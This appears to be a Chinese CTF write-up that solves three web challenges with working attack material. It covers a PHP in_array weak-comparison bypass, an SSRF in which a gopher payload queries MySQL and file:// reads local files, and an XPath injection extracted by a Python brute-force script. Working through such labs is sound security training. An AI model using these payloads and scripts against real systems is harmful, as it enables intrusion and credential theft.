题目链接:http://35.185.178.212/
题目直接给出了源码
<?php
include "config.php";
$number1 = rand(1,100000000000000);
$number2 = rand(1,100000000000);
$number3 = rand(1,100000000);
$url = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url))
{
die("...");
}
if (preg_match("/0/i", $url))
{
die("...");
}
if (preg_match("/\w+/i", $url))
{
die("...");
}
if(isset($_GET['_']) && !empty($_GET['_']))
{
$control = $_GET['_'];
if(!in_array($control, array(0,$number1)))
{
die("fail1");
}
if(!in_array($control, array(0,$number2)))
{
die("fail2");
}
if(!in_array($control, array(0,$number3)))
{
die("fail3");
}
echo $flag;
}
show_source(__FILE__);
?>
看到
$url = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
不难想到///的trick
同时,我知道in_array(),在没有设置松紧比较的时候,是默认存在弱比较的
于是随手构造弱比较,请求
http://35.185.178.212///?_=0a
即可得到flag
ISITDTU{php_bad_language}
题目链接:http://35.190.142.60/
打开题目是个curl的界面,本能的想到是SSRF的题目
右键打开源代码发现
<!-- index.php?debug=1-->
于是请求访问
http://35.190.142.60/?debug=1
得到页面源码
<?php
include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
$url = $_POST['url'];
$content_url = getUrlContent($url);
}
else
{
$content_url = "";
}
if(isset($_GET['debug']))
{
show_source(__FILE__);
}
?>
<?php
echo $content_url;
?>
那么第一件事肯定是选择读源码了,我们随手尝试
file:///etc/passwd
发现回显
于是发现必须得有localhost的host
于是改变请求方式为
file://loaclhost/etc/passwd
这次有了一些回显
再尝试
file://localhost/var/www/html/config.php
发现成功得到源码
<?php
$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;
$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
function initdb($conn)
{
$dbinit = "create table if not exists flag(secret varchar(100));";
if(mysqli_query($conn,$dbinit)) return 1;
else return 0;
}
function safe($url)
{
$tmpurl = parse_url($url, PHP_URL_HOST);
if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
{
var_dump($tmpurl);
die("<h1>Only access to localhost</h1>");
}
return $url;
}
function getUrlContent($url){
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
echo $pl;
$content = shell_exec($pl);
return $content;
}
initdb($conn);
?>
不难看得出有Mysql的存在,加上简单的curl
我的本能反应是,存在gopher打mysql,因为这个思路我遇到过多次
所以我的第一反应是测试
gopher://localhost:3306
大概就是我这个思路了吧
于是使用payload生成脚本:
命令如下
python exploit.py -u ssrf_user -d 'ssrf' -P 'SELECT * FROM ssrf.flag' -v
payload
gopher://127.0.0.1:3306/A0%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00ssrf%00V%01%00%00%03select%20concat%28cast%280x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167%20as%20binary%29%2C%20rpad%28%28SELECT%20%2A%20FROM%20ssrf.flag%29%2C%201000%2C%20%27-%27%29%2C%20cast%280x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000%20as%20binary%29%29%00%00%00%00
发送请求后发现
很轻松获得flag
题目链接:http://35.190.131.105/
打开题目只有登录页面
于是打开源代码得到
guest/guest
登入后发现
没有其他功能了
说明很简单的思路,以admin的身份登入即可
那么只有登录界面,很容易想到的就是sql注入
于是开始测试
可以看到,用户名和密码的错误是分开回显的,这就舒服的许多
简单测试后,发现的确存在注入
于是构造
guest'and 1 or'
guest'and 0 or'
发现成功返回不一致
构造bool注入,但发现怎么尝试都无果,非常郁闷
但是发现一个奇怪现象
有时候会出现???,这很迷
经过一番折腾好,于是思考到会不会是xpath注入
https://www.cnblogs.com/bmjoker/p/8861927.html
尝试提取父节点的名字:
'or substring(name(parent::*[position()=1]),1,1)='a
简单用burp爆破了一下
发现
'or substring(name(parent::*[position()=1]),1,1)='u
回显是???
那么我猜测,只要是匹配通过后,反馈就是???
于是我为了证明这不是巧合,继续探测
import requests
import string
url = "http://35.190.131.105/"
payload = ''''or substring(name(parent::*[position()=1]),%s,1)='%s'''
res = ""
for i in range(1,1000):
for j in string.printable:
data = {
"username":payload%(i,j),
"password":"1"
}
r = requests.post(url=url,data=data)
if "Invalid" not in r.content[1470:1490]:
res+=j
print res
break
发现成功得到父节点名字:user
那么继续探测子节点
'or substring(//user[1]/*[2],1,1)='u' or 'a'='a
探测子节点的值:
'or substring(//user[1]/*[2]/text(),1,1)='a' or'a'='a
最后即可拿到
Adm1n
Ez_t0_gu3ss_PaSSw0rd
当然题目也是存在非预期的
http://35.190.131.105/accounts.xml
存在数据库信息泄露
直接登入后可得到flag